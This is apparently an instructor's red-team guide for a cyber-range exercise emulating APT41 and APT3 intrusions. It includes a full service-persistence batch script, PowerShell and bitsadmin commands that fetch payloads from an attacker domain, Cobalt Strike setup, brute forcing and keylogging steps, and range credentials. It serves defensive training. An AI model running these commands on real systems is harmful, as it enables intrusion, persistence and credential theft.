Multi-Domain Scenario 1

Operation Mercury Arc

Red Team Administration

Crew Based Training

Environment: PCTE

TRAINING DISCLAIMER: THE FOLLOWING TRAINING DOCUMENT EMPLOYS THE USE OF REAL-WORLD NATIONS, THREAT ACTORS AND ATTACK CHAINS IN ORDER TO PROVIDE CYBER OPERATORS WITH SCENARIOS RELATIVE TO THOSE THAT MAY BE ENCOUNTERED WHILE PERFORMING OPERATIONAL TASKS WITHIN THE NETWORK ENVIRONMENT.

ONLY FOR DISTRIBUTION AMOUNG INSTRUCTORS FACLITATING TRAINING EVENT

VERSION DATE – 07 DECEMBER 2022

How to Read this Document

The following symbol(s) are used throughout this document and require special attention.

	CHECK This symbol is used to indicate items white cell can verify to assess blue team performance.
	BLUE TEAM This symbol is used to indicate information that can be disseminated to the blue team members.
	NOTICE This symbol is used to inform white cell members of particularly important information.
	RED TEAM This symbol is used to indicate red team related information.
	THOUGHT BUBBLE This symbol is used whenever a task is 'white carded' or simulated.
	HALT This symbol indicates information should not be disseminated outside the white cell.

Red Team Administration

This section covers the: A. Overall Adversary Objective, and B. OPFOR Checklist. Section items within the A. Overall Adversary Objective include: 1. Attack Chain Request, 2. Attack Chain Development, 3. Phases of Attack, 4. Real World Threat Actor TTPs, 5. Artifacts/IOCs, and 6. Persistence Install Script, and 7. Process Overview. Section items within the B. OPFOR Checklist include: 1. Set-up Guide, and 2. Execution Plan.

A. Overall Adversary Objective

Exploit target network to execute enduring intelligence collection on Capon weapon system development.

1. Attack Chain Request

Table 1: Attack Chain Request

Attack Chain Request		
Attack Chain 1	*Adversary:*	APT 41
	Threat Actor Objectives:	APT 41 will gain initial access via a direct connection to the Muggle environment through an insider threat. Insider threat created a valid account for APT 41
	Specific TTPS:	○ **Initial Access:** Insider Threat (Valid Account/Compromise Software Supply Chain)
		○ **Execution:** PowerShell / windows cmd / UNIX shell
		○ **Persistence:** Creation of registry run key (Cobalt Strike tool) / Accessibility features (sticky keys)
		○ **Defense Evasion:** Masquerading (Matching naming schema of account names and feigning source IP location)
		○ **C2:** Web Protocols (80) & Proxy (CLASSFON tool)
Attack Chain 2	*Adversary:*	APT 41
	Threat Actor Objectives:	Once a foothold has been established within the Muggle environment, APT 41 will continue with discovery efforts / lateral movement to gain access to the Mystery environment. Once full access to production network is

		established, APT 41 will continue with discovery to find desired files/software relating to drone project.
	Specific TTPS:	○ **Privilege Escalation:** Use of Cobalt Strike tool
		○ **Credential Access:** Establish keylogging (GEARSHIFT tool) to gain local admin password
		○ **Discovery:** Network Share Discovery & File and Directory Discovery
		○ **Lateral Movement:** RDP open on several production servers
Attack Chain 3	*Adversary:*	APT 3
	Threat Actor Objectives:	Once APT 41 has clear view of the terrain, they will share access credentials with APT 3. APT 3 will then begin the collection and exfil process via the established C2 channel.
	Specific TTPS:	○ **Collection:** Archive via Utility (Compression tools)
		○ **Exfiltration:** Exfiltration over C2 channel (already established by APT 41)

2. Attack Chain Development

Overview
15 TTPs associated with APT41 real-world will be used for this attack chain. 12 TTPs associated with APT3 real-world will be used for this attack chain. 4 TTPs not associated with any emulated threat actor will be used for this attack chain.

NOTICE
With the exception of jake.potts, usernames are listed for ease of reference, but these usernames may vary depending on the range and future updates.

NOTICE
'Attacker Space' identifies both RCS03 - v1 and RCS06 – v2 IPs regarding attack chain development for these specific ranges.

NOTICE
'Compromised Credentials' identifies different accounts for both RCS03 - v1 and RCS06 – v2.

Table 2: Attack Chain Development

Attack Chain Development		
DIP ANALYSIS: The DIP usage is post-attack, so the DIP will be offline while the attack is being executed.		
Attacker Space	**RCS03 – v1:** Space used by OPFOR for performing attack chain:	210.210.210.0/24
	[redacted] Attack Platform:	210.210.210.5
	RCS06 – v2: Space used by OPFOR for performing attack chain:	202.84.73.0/24
	[redacted] Attack Platform:	202.84.73.5
Grey Space	Hosts that may be leveraged by or contain artifacts of OPFOR activities but are neither targets nor associated with OPFOR:	200.200.200.0/24
No-Strike Space	Space explicitly not targeted by OPFOR:	10.15.127.0/24 132.57.0.0/16 142.68.0.0/16 143.157.0.0/16 168.142.0.0/16
	NOTE: 10.15.127.0/24 and/or 10.101.0.0/16 may be interchangeable regarding No-Strike Space. Please contact range technician if you have questions.	

Target Space	Space targeted by OPFOR and focus of detection/remediation:					131.9.0.0/16 131.14.0.0/16
Target Hosts/ Protocols	**Host Name**	**IP Address**	**Access Protocol**	**C2 Protocol**	**Enumeration Protocols**	**Other Protocols**
	Muggle-4	131.9.3.5	RDP	HTTP	N/A	N/A
	Muggle-16	131.9.3.17	RDP	HTTP	LDAP, MSPRC	N/A
	Muggle-31	131.14.3.33	RDP	HTTP	SMB	(Exfil) HTTP

Beacons (Does not encompass all beacons used during attack)	**Host Name**	**Beacon**	**Persistence**
	MUGGLE-4	MUGGLE-4\Administrator via powershell.exe PID 7644 - Callback Interval: 10 minutes (20% jitter)	None
	MUGGLE-16	MUGGLE-16\Administrator via rundll32.exe	15 minutes
	MUGGLE-16	NT AUTHORITY\SYSTEM via svchost.exe	None
	MYSTERY-31	MYSTERY\ rachael.mullins via powershell.exe	Every 8 hours

Compromised Credentials	**Network**	**User Name**	**Password**	**Description**
	Muggle	jake.potts:	1qaz2wsx!QAZ@WSX	-Domain User -Created by Insider
		Administrator:	Simspace1!Simspace1!	-Local Admin -Brute Forced
		RCS00 rachael.mullins	S3+a#s#3K#j#	Captured by Keylogger
		RCS03 –v1 ruthie.rollins	P@ssw0rdP@ssw0rd	Captured by Keylogger
		RCS06-v2 rachael.mullins	S3+a#s#3K#j#	Captured by Keylogger
	Mystery	***RCS00*** rachael.mullins	S3+a#s#3K#j#	Re-used from Dev
		RCS03 –v1 ruthie.rollins	P@ssw0rdP@ssw0rd	Re-used from Dev
		RCS06-v2 rachael.mullins	S3+a#s#3K#j#	Re-used from Dev

3. Phases of Attack

Below is the 'Phases of Attack' table (Table 4) for this exercise only. APT 41 runs TTPs 1-12, and APT 3 runs TTPs 13-15. Real world TTP actions for APT 41 and APT 3 may differentiate (i.e. APT 3 also conducts TTP 1: Create Account).

Table 3: Phases of Attack – APT 41 and APT 3

PHASES OF ATTACK		
APT	**TTP**	**PHASE**
APT 41	**TTP 1**	Initial Access
APT 41	**TTP 2**	Execution
APT 41	**TTP 3**	Persistence
APT 41	**TTP 4**	Defense Evasion
APT 41	**TTP 6**	C2
APT 41	**TTP 7**	Privilege Escalation
APT 41	**TTP 8**	Credential Access
APT 41	**TTP 9**	Discovery
APT 41	**TTP 10**	Lateral Movement
APT 3	**TTP 11**	Collection
APT 3	**TTP 12**	Exfiltration

4. Real World Threat Actor TTPs

Included within this section are APT 41 and APT 3 real world TTPs. Real world TTP actions for APT 41 and APT 3 may differentiate regarding this exercise.

- APT 41

Table 4: APT 41 Real World TTPs

Real World TTPs: APT 41		
Technique	**ID**	**Data Sources**
Valid Accounts: Domain Accounts	T1078.002	Authentication logs, Process monitoring
Remote Services: Remote Desktop Protocol	T1021.001	Authentication logs, Netflow/Enclave netflow, Process monitoring
Command and Scripting Interpreter: PowerShell	T1059.001	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Application Layer Protocol: Web Protocols	T1071.001	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
System Network Configuration Discovery	T1016	Process command-line parameters, Process monitoring
System Network Connection Discovery	T1049	Process command-line parameters, Process monitoring
Brute Force: Password Cracking	T1110.002	Authentication logs
BITS Jobs	T1197	Packet capture, Process command-line parameters, Process monitoring, Windows event logs
Masquerading: Match Legitimate Name or Location	T1036.005	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	T1547.001	File monitoring, Windows Registry
Indicator Removal on Host: File Deletion	T1070.004	Binary file metadata, File monitoring, Process command-line parameters

Real World TTPs: APT 41		
Technique	**ID**	**Data Sources**
Proxy: Internal Proxy	T1090.001	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Input Capture: Keylogging	T1056.001	API monitoring, Process monitoring, Windows Registry
Network Share Discovery	T1135	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Archive Collected Data: Archive via Utility	T1560.001	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring

- APT 3

Table 5: APT 3 Real World TTPs

Real World TTPs: APT 3		
Technique	**ID**	**Data Source**
Valid Accounts: Domain Accounts	T1078.002	Authentication logs, Process monitoring
Remote Services: Remote Desktop Protocol	T1021.001	Authentication logs, Netflow/Enclave netflow, Process monitoring
Command and Scripting Interpreter: PowerShell	T1059.001	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
System Network Configuration Discovery	T1016	Process command-line parameters, Process monitoring
System Network Connection Discovery	T1049	Process command-line parameters, Process monitoring
Brute Force: Password Cracking	T1110.002	Authentication logs
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	T1547.001	File monitoring, Windows Registry

Real World TTPs: APT 3		
Technique	**ID**	**Data Source**
Indicator Removal on Host: File Deletion	T1070.004	Binary file metadata, File monitoring, Process command-line parameters
Remote System Discovery	T1018	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Input Capture: Keylogging	T1056.001	API monitoring, Process monitoring, Windows Registry
Archive Collected Data: Archive via Utility	T1560.001	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Exfiltration Over C2 Channel	T1041	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network

5. Artifacts/IOCS

Unique artifacts or indicators of compromise that would comprise a threat intel report. This does not include every file or domain utilized or created by the attack chain, only those with enough uniqueness to act as a signal of threat actor presence.

NOTICE
'Artifacts' identifies both RCS03-v1 and RCS06-v2 accounts regarding those different ranges.

NOTICE
Artifacts listed below at a minimum will be present on the range.

There may be extra/added artifacts that are generated by User Emulation (UE). These are part of 'normal operations' within the range. Example:

1. An account that is a domain administrator has the "Admin Persona" in the UE.

2. As part of that persona configuration, UE will randomly create and delete artifacts using that username and random characters as a suffix.

3. White Cell Handbook will not identify those artifacts, have data or any activity relating to that UE account which was computer-generated.

4. Please reach out to support team through team Slack channel if you have any questions.

Table 6: Artifacts/IOCs

Artifacts/IOCs								
Index	**Hosts**	**Type**	**Artifact**	**Common Name**	**MD5**	**SHA1**	**SHA 256**	**Notes**
1	MUGGLE-16	User Account	jake.potts	N/A	N/A	N/A	N/A	Domain User; Created by Insider Threat
2	MUGGLE-4, MUGGLE-16	User Account	Administrator	N/A	N/A	N/A	N/A	Local Admin; Credentials Brute-Forced
3	MUGGLE-4, MYSTERY-31	User Account	**RCS00:** rachael.mullins **RCS03- v1:** ruthie.rollins **RCS06 – v2:** rachael.mullins	N/A	N/A	N/A	N/A	Domain User; Captured by Keylogger
4	MUGGLE-4, MUGGLE-16, MYSTERY-31	Domain Name	macfeelabs.com	N/A	N/A	N/A	N/A	-
5	MUGGLE-4, MUGGLE-16, MYSTERY-31	URL	http://macfeelabs.com/favicon.ico	N/A	N/A	N/A	N/A	-
6	MUGGLE-16	URL	http://macfeelabs.com/test/install.bat	N/A	N/A	N/A	N/A	-
7	MUGGLE-16	URL	http://macfeelabs.com/test/storesyncsvc.dll	N/A	N/A	N/A	N/A	-
8	MUGGLE-4, MUGGLE-16, MYSTERY-31	Powershell Script	Memory: favicon.ico	Cobalt Strike Payload	Dynamic	Dynamic	Dynamic	Powershell In-Memory Only
9	MUGGLE-4	Batch Script	C:\Users\Public\install.bat	Persistence Install Script	d829e49c9bb3b8f060e586c48a078d3b	940c70a93764b2a979497e11cedb87f729ae1b17	a3d4ecffc04677936 5fde77e4e7a7cf452bc23b95fe9ddbb0acdf	Deleted after use

							3d0897a06d3	
10	MUGGLE-4	DLL	C:\Users\Public\storesyncsvc.dll	StorSyncSrv Persistence	Dynamic	Dynamic	Dynamic	Service: StorSyncSvc
11	MYSTERY-31	Archive	C:\Users\Public\backup.zip	Exfil staging archive	Dynamic	Dynamic	Dynamic	Left behind on disk

6. Scripts

Table 7: Persistence Install Script

Persistence Install Script
https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html
@echo off set "WORK_DIR=C:\Windows\System32" set "DLL_NAME=storesyncsvc.dll" set "SERVICE_NAME=StorSyncSvc" set "DISPLAY_NAME=Storage Sync Service" set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly." sc stop %SERVICE_NAME% sc delete %SERVICE_NAME% mkdir %WORK_DIR% copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%" sc failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description "%SERVICE_NAME%" "%DESCRIPTION%" reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f net start "%SERVICE_NAME%"

7. Process Overview

The following table encompasses the generalized intended sequence of execution and relative timeline of events. **This is not an execution log**. The execution log, generated after the attack chain is carried out and captured for use, contains more specific details about how and where artifacts can be found and the corresponding timestamps.

NOTICE
Event logs are cleared on all domain hosts some time prior to execution to ensure no artifacts from range testing persist.

- ***Timeline:*** Timeline is estimated as approximate.
- ***Actor:*** Exercise emulated threat actor. Techniques mapped to real-world actors in Real-World Threat Actor TTPs.

Table 8: Process Overview

PROCESS OVERVIEW								
Index	**Timeline**	**Actor**	**Machines**	**Action/ Event**	**Technique**	**ID**	**Notes**	**Artifacts/ IOCs**
1	-	APT41	MUGGLE-16	Setup	Create Account: Domain Account	T1136.002	Pre-Performed by Insider Threat	jake.potts
2	-	APT41	MUGGLE-16	Initial Access	Valid Accounts: Domain Accounts	T1078.002	RDP Access Account	jake.potts
3	-	APT41	MUGGLE-16	Initial Access	Remote Services: Remote Desktop Protocol	T1021.001	N/A	N/A
4	12/7/2022 0650	APT41	MUGGLE-16	Launch Agent	Command and Scripting Interpreter: PowerShell	T1059.001	Executed in RDP session	N/A
5	12/7/2022 0650	APT41	MUGGLE-16	Agent Callback	Application Layer Protocol: Web Protocols	T1071.001	Cobalt Strike (S0154)	http://macfeelabs.com/favicon.ico
6	12/7/2022 0651	APT41	MUGGLE-16	Enumeration	System Network Configuration Discovery	T1016	shell whoami /all	N/A
7	12/7/2022 0651	APT41	MUGGLE-16	Enumeration	System Network Configuration Discovery	T1016	shell ipconfig /all	N/A

8	12/7/2022 0651	APT41	MUGGLE-16	Enumeration	System Network Connection Discovery	T1049	shell netstat -ant	N/A
9	12/7/2022 0651	APT41	MUGGLE-16	Enumeration	System Network Connection Discovery	T1049	shell netstat -r	N/A
10	12/7/2022 0651	APT41	MUGGLE-16	Enumeration	System Network Connection Discovery	T1049	shell qwinsta	N/A
11	12/7/2022 0651	APT41	MUGGLE-16	Enumerate Domain Trusts	Domain Trust Discovery	T1482	nltest /domain_trusts	N/A
12	12/7/2022 0654	APT41	MUGGLE-16	Enumerate Domain Computers	Remote System Discovery	T1018	LDAP querying via WinAPI on PowerShell	N/A
13	12/7/2022 0657-0710	APT41	MUGGLE-16	Brute Local Admin Credentials	Brute Force: Password Cracking	T1110.002	Simulated via Cobalt Strike SpawnAs	N/A
14	12/7/2022 0710	APT41	MUGGLE-16	Escalate to Local Admin	Valid Accounts: Local Accounts	T1078.003	Credentials from bruting	Administrator
15	12/7/2022 0711	APT41	MUGGLE-16	Download persistence install scripts	BITS Jobs	T1197	cmd /c bitsadmin /transfer bbbb http://macfeelabs.com/test/install.bat C:\Users\Public\install.bat	C:\Users\Public\install.bat, C:\Users\Public\storesyncsvc.dll
16	12/7/2022 0712	APT41	MUGGLE-16	Move agent script	Masquerading: Match Legitimate Name or Location	T1036.005	Moved to System32	C:\Windows\System32\storesyncsvc.dll
17	12/7/2022 0712	APT41	MUGGLE-16	Establish Persistence	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	T1547.001	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost	HKLM\SYSTEM\CurrentControlSet\Services\StorSyncSvc
18	12/7/2022 0712	APT41	MUGGLE-16	Delete persistence install scripts	Indicator Removal on Host: File Deletion	T1070.004	N/A	C:\Users\Public\install.bat, C:\Users\Public\storesyncsvc.dll
19	12/7/2022 0728	APT41	MUGGLE-16	Establish Proxy	Proxy: Internal Proxy	T1090.001	Cobalt Strike Socks4a	N/A
20	12/7/2022 0740	APT41	MUGGLE-16	Lateral movement to host used	Valid Accounts:	T1078.003	Credentials reused	Administrator

				for RDP to Prod	Local Accounts			
21	12/7/2022 0740	APT41	MUGGLE-16 → MUGGLE-4	Lateral movement to host used for RDP to Prod	Remote Services: Remote Desktop Protocol	T1021.001	N/A	N/A
22	12/7/2022 0748	APT41	MUGGLE-4	Execute Keylogger	Input Capture: Keylogging	T1056.001	User will login to Prod from Dev via RDP enabling capture	N/A
23	12/7/2022 0749	APT41	MUGGLE-4 → MYSTERY-31	Move from Muggle to Mystery	Trusted Relationship	T1199	N/A	N/A
24	12/7/2022 0751	APT41	MUGGLE-4 → MYSTERY-31	Move from Muggle to Mystery	Remote Services: Remote Desktop Protocol	T1021.001	N/A	N/A
25	12/7/2022 0752	APT41	MUGGLE-31	Enumeration	System Network Configuration Discovery	T1016	shell whoami /all	N/A
26	12/7/2022 0752	APT41	MUGGLE-31	Enumeration	System Network Configuration Discovery	T1016	shell ipconfig /all	N/A
27	12/7/2022 0752	APT41	MUGGLE-31	Enumeration	System Network Connection Discovery	T1049	shell netstat -ant	N/A
28	12/7/2022 0752	APT41	MUGGLE-31	Enumeration	System Network Connection Discovery	T1049	shell netstat -r	N/A
29	12/7/2022 0752	APT41	MUGGLE-31	Enumeration	System Network Connection Discovery	T1049	shell net use	N/A
30	12/7/2022 0756	APT41	MUGGLE-31	Agent Callback	Application Layer Protocol: Web Protocols	T1071.001	Cobalt Strike (S0154) Beacon every 8 hours (sleep 28800 20).	http://macfeelabs.com/favicon.ico
31	12/7/2022 0756	APT41					Disconnect non-persistent beacons – leave MUGGLE-16 SYSTEM* and	

							Mystery-31 live.	
32	12/7/2022 1556	APT3	MYSTERY-31	Enumerate Network Shares	Network Share Discovery	T1135	N/A	N/A
33	12/7/2022 0752	APT3	MYSTERY-31	Collect data from shares	Data from Network Shared Drive	T1039	N/A	N/A
34	12/7/2022 1604	APT3	MYSTERY-31	Package data for exfiltration	Archive Collected Data: Archive via Utility	T1560.001	N/A	C:\Users\Public\backup.zip
35	12/7/2022 1604	APT3	MYSTERY-31	Exfiltrate Data	Exfiltration Over C2 Channel	T1041	N/A	N/A
36	12/7/2022 1606	APT3					Exit all beacons but MUGGLE-16	

B. OPFOR Checklist

This section includes the Red Team: 1. Set-up Guide and 2. Automated and Manual Execution Plan.

NOTICE
Differentiations between RCS03-v1 and RCS06-v2 are included within 'Set-up Guide.'

1. Set-up Guide

Table 9: Set-up Guide

Set-Up Guide		
Infrastructure Pre-Requisites **- Dev = Muggle** **- Prod = Mystery**	**DIP**	The DIP should be offline during attack
	Internet DNS:	macfeelabs.com: 210.210.210.5 (RCS03) macfeelabs.com: 202.84.73.5 (RCS06)
	Networking:	• RDP Allowed from Internet to Dev o *Allow TCP/3389 To 131.9.0.0/16 From 0.0.0.0/0* • RDP Allowed from Dev to Prod o *Allow TCP/3389 To 131.14.0.0/16 From 131.9.0.0/16* • HTTP Allowed from Dev to Internet o *Allow TCP/80 To 0.0.0.0/0 From 131.9.0.0/16* • HTTP Allowed from Prod to Internet o *Allow TCP/80 To 0.0.0.0/0 From 131.14.0.0/16* - *muggle-edge-router* - *Port Forward RDP to MUGGLE-16* - *config* - *set nat destination rule 110 description 'Remote Dev Access'* - *set nat destination rule 110 destination address '104.53.222.5'* - *set nat destination rule 110 destination port '3389'* - *set nat destination rule 110 inbound-interface 'eth2'* - *set nat destination rule 110 protocol 'tcp'* - *set nat destination rule 110 translation address '131.9.3.17'* - *set nat destination rule 110 translation port '3389'* - *commit* - *save*
	MUGGLE-DC:	• Create account for attackers o Username: jake.potts o Password: 1qaz2wsx!QAZ@WSX

		• New Group Policy: Enable RDP ○ *(Allow through Firewall)* ▪ Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security > Inbound Rules - Allow: Predefined: Remote Desktop ○ *(Allow qwinsta querying)* ▪ Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security > Inbound Rules - Allow: Predefined: File and Printer Sharing ○ *(Enable Service)* ▪ Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Connections - Enabled: Allow users to connect remotely by using Remote Desktop Services ○ *(Allow User Login)* ▪ Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment - Allow log on through Remote Desktop Services ▪ Add User or Group... *> BUILTIN\Remote Desktop Users* ○ *(Add to Groups)* ▪ Computer Configuration > Policies > Windows Settings > Security Settings > Restricted Groups - Add Group: Remote Desktop Users ▪ Members of this group: Add: Domain Users, muggle\Domain Users • Modify Active Directory Users and Computers ○ Right-Click *Domain Users* > Add to a group ○ *Remote Desktop Users*
	NOTE: *Wait long enough (15 minutes) for GPOs to propagate to hosts, or force update with gpuupdate /force*	
	MYSTERY-DC:	Duplicate accounts from Dev into Prod for RDP users • Username : Password • RCS03 – v1: ○ ruthie.rollins : P@ssw0rdP@ssw0rd ○ lana.best : P@ssw0rdP@ssw0rd ○ millard.hull : P@ssw0rdP@ssw0rd

		• RCS06-v2: o rachael.mullins: S3+a#s#3K#j# o latisha.booker: sN#4$4Gs2u6u o mitchell.rosales: f+c3K#u3r#X7 • New Group Policy: Enable RDP o *(Allow through Firewall)* ▪ Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security >Inbound Rules - Allow: Predefined: Remote Desktop o *(Enable Service)* ▪ Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Connections - Enabled: Allow users to connect remotely by using Remote Desktop Services o *(Allow User Login)* ▪ Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment - Allow log on through Remote Desktop Services ▪ Add User or Group… *> BUILTIN\Remote Desktop Users* • Modify Active Directory Users and Computers o Right-Click *Domain Users* > Add to a group o Remote Desktop Users • New Group Policy: Attach File Shares o *(Attach File Shares)* ▪ User Configuration > Preferences > Windows Settings > Drive Maps - New Drive Mapping ▪ Action: *Update* ▪ Location: *\\Mystery-file\data* ▪ Reconnect: Checked ▪ Label as: *Production_Share* ▪ Drive Letter: Use: *S* ▪ Hide/Show this drive: *Show this drive*
	Hosts:	• 7-Zip Installed *(At least on Mystery-31, but more hosts preferably to blend in)* • RCS03-v1

<table>
<tr><td></td><td></td><td>

Cached RDP connection from MUGGLE-4 to MYSTERY-31 (ruthie.rollins)
Cached RDP connection from MUGGLE-15 to MYSTERY-9 (lana.best)
Cached RDP connection from MUGGLE-31 to MYSTERY-16 (millard.hull)

RCS06-v2

Cached RDP connection from MUGGLE-4 to MYSTERY-31 (rachael.mullins)
Cached RDP connection from MUGGLE-15 to MYSTERY-9 (latisha.booker)
Cached RDP connection from MUGGLE-31 to MYSTERY-16 (mitchell.rosales)

</td></tr>
<tr><td colspan="3">

All domain EVTX logs should be cleared at LEAST a few hours prior to executing the attack chain to ensure there is no residual data from attack chain testing.
Even if it is known there is no testing data, clearing is encouraged as it is noted in the White Cell documentation.

</td></tr>
<tr><td colspan="3"></td></tr>
<tr><td rowspan="6">Attack Platform</td><td rowspan="4">The easiest way to build an attack platform is using Packer and md_s1-opfor.json: https://github.boozallencsn.com/OPFOR/MD_S1</td><td>RCS03 IP Address:</td><td>210.210.210.5</td></tr>
<tr><td>RCS03 Domain:</td><td>macfeelabs.com</td></tr>
<tr><td>RCS06 IP Address:</td><td>202.84.73.5</td></tr>
<tr><td>RCS06 Domain:</td><td>macfeelabs.com</td></tr>
<tr><td>Versions:</td><td colspan="2">

Below are the versions of software used to develop this guide.
Newer versions may be available, but these are provided as a reference for troubleshooting, compatibility, and stability.
If multiple versions are provided in the chart, this procedure has been tested with all versions shown.

</td></tr>
<tr><td colspan="3">
<table>
<tr><th colspan="3">Software Version Resource Location:</th></tr>
<tr><th>Software</th><th>Version</th><th>Resource Location</th></tr>
<tr><td>Alpine Linux</td><td>3.12-virt x86_64</td><td>https://alpinelinux.org/</td></tr>
<tr><td>Cobalt Strike 4.2</td><td>4.2</td><td>https://www.cobaltstrike.com</td></tr>
<tr><td>Jquery C2 Profile</td><td>5a11fb5</td><td>https://github.com/threatexpress/malleable-</td></tr>
</table>
</td></tr>
</table>

			c2/blob/master/jquery-c2.3.11.profile
	proxychains-ng	4.14-r0	Alpine APK
	xrdp	0.9.13.1-r0	Alpine APK
	brutesim.cna	7e21b0e	https://github.boozalencsn.com/OPFOR/MD_S1/blob/master/tools/brutesim.cna
	mingw-w64-gcc	9.3.0-r0	Alpine APK
	install.bat	ce41049	https://github.boozallencsn.com/OPFOR/MD_S1/blob/master/tools/persistence/install.bat
	storesyncsvc.cpp	36fb160	https://github.boozalencsn.com/OPFOR/MD_S1/blob/master/tools/persistence/storesyncsvc.cpp
	• This is a general list of tools and not an exhaustive list of libraries and required support utilities. • Refer to the Packer build scripts for how to build an attack platform.		
	Cobalt Strike:	Install Cobalt Strike: 1. Setup a recommended Java environment for Linux 2. Extract cobaltstrike-dist.tgz 3. Run the update program to finish setup	

2. Automated and Manual Execution Plans

NOTICE
With the exception of jake.potts, usernames are listed for ease of reference but these usernames may vary depending on the range and future updates

NOTICE
'Automated Execution Plan' and 'Manual Execution Plan' both identify RCS03 - v1 and RCS06 – v2 relevant information.

Table 10: Automated Execution Plan

AUTOMATED EXECUTION PLAN			
Setup Team Server	**RCS03 – v1:** cd ~/Desktop/cobaltstrike sudo ./teamserver 210.210.210.5 password ~/Desktop/jquery-c2.3.11.profile **RCS06 – v2:** cd ~/Desktop/cobaltstrike sudo ./teamserver 202.84.73.5 password ~/Desktop/jquery-c2.3.11.profile		
	Connect to Aggressor console in a new terminal	cd ~/Desktop/cobaltstrike ./cobaltstrike &	
	Login:	***Host:***	127.0.0.1
		Port:	50050
		User:	opfor
		Password:	password
	Load Scenario Automation:	• Cobalt Strike>Script Manager • Load> ~Desktop/mds1.cna	
Create Payloads	**IMPORTANT:** Payloads should all be created in advance as there is likely not enough time during execution.		
	Cobalt Strike User Payload	Attacks → Packages → Windows Executable (S) • Listener: HTTP_MDS1 • Output: Powershell • x64: Checked • Generate • Save to: ~/Desktop/initial.ps1	
Custom System	Attacks>Packages>Payload Generator • Listener: HTTP_MDS1		

Persistence Payload	• Output: C • x64: Checked • Save to: ~/Desktop/persistence/payload.c • Open ~/Desktop/persistence/storesyncsvc.cpp • Copy contents of payload.c onto line 46 (between the two identifying comments) cd ~/Desktop/persistence/ x86_64-w64-mingw32-gcc -shared -municode -o storesyncsvc.dll storesyncsvc.cpp	
Setup Listener	Attacks>MDS1>Setup Cobalt Strike **NOTE:** Payloads must be in correct locations as created above.	
Initial Access - Dev	**NOTE:** Range configuration has changed since initial development. Do not use `Foothold - Initial Access (Clip)` automation **Bash:** **RCS03 – v1:** xfreerdp /cert:ignore /v:131.9.3.17 /u:jake.potts /p:1qaz2wsx!QAZ@WSX /d:muggle.lan **RCS06 – v2:** xfreerdp /cert:ignore /v:104.53.222.5 /u:jake.potts /p:1qaz2wsx!QAZ@WSX /d:muggle.lan *-- Consider doing other innocuous activities before and after the payload execution.* **On Remote Host:** • Task Manager>Run: powershell -win h -c "iex (iwr -useb http://macfeelabs.com/favicon.ico)" • Wait for beacon check-in • Disconnect from RDP	
Discovery	➢ Attacks>MDS1>Foothold – Privsec ➢ Beacon: Initial Beacon	
Privilege Escalation	***Cobalt Strike:***	• `Attacks > MDS1 > Foothold - Privesc` • Beacon: Initial beacon • Listener: HTTP_MDS1 • Failed attempts: 40 • Delay (seconds): 0.5 • Execute A new elevated beacon should spawn.

Persistence	• Attacks > MDS1 > Foothold - Persistence Download • Beacon: Initial beacon • Attacks > MDS1 > Foothold - Persistence Install • Beacon: Elevated beacon • Wait for persistence beacon check-in
Network Discovery	• Attacks > MDS1 > Foothold - Lateral Discovery • Beacon: Elevated beacon
Lateral Movement - Muggle	• Attacks > MDS1 > Foothold - Lateral Setup • Beacon: Elevated beacon • Attacks > MDS1 > Lateral - Initial Access (Clip) • Follow Instructions • Wait for callback in Cobalt Strike • Disconnect from RDP • Attacks > MDS1 > Foothold - Lateral Teardown • Beacon: Elevated beacon
Keylogger	**NOTE**: Automation is unavailable beyond this point. ➢ Left-click new muggle-4 beacon ➢ Right-click > Interact sleep 60 20 **PCTE:** • Open Muggle-4 Console > Open Remote Desktop UI (Do not connect) • Leave Console open for later **Cobalt Strike:** • Left-click new muggle-4 beacon • Right-click > Explore > Process List • Select mstsc.exe process > Log Keystrokes • View > Keystrokes **PCTE:** • Connect to mystery-31.mystery.com as: o **RCS03 – v1:** ruthie.rollins : P@ssw0rdP@ssw0rd o **RCS06 – v2:** rachael.mullins: s3+a#s#3K#j# • Close console WITHOUT logging out **Cobalt Strike:** • Verify keystrokes were captured

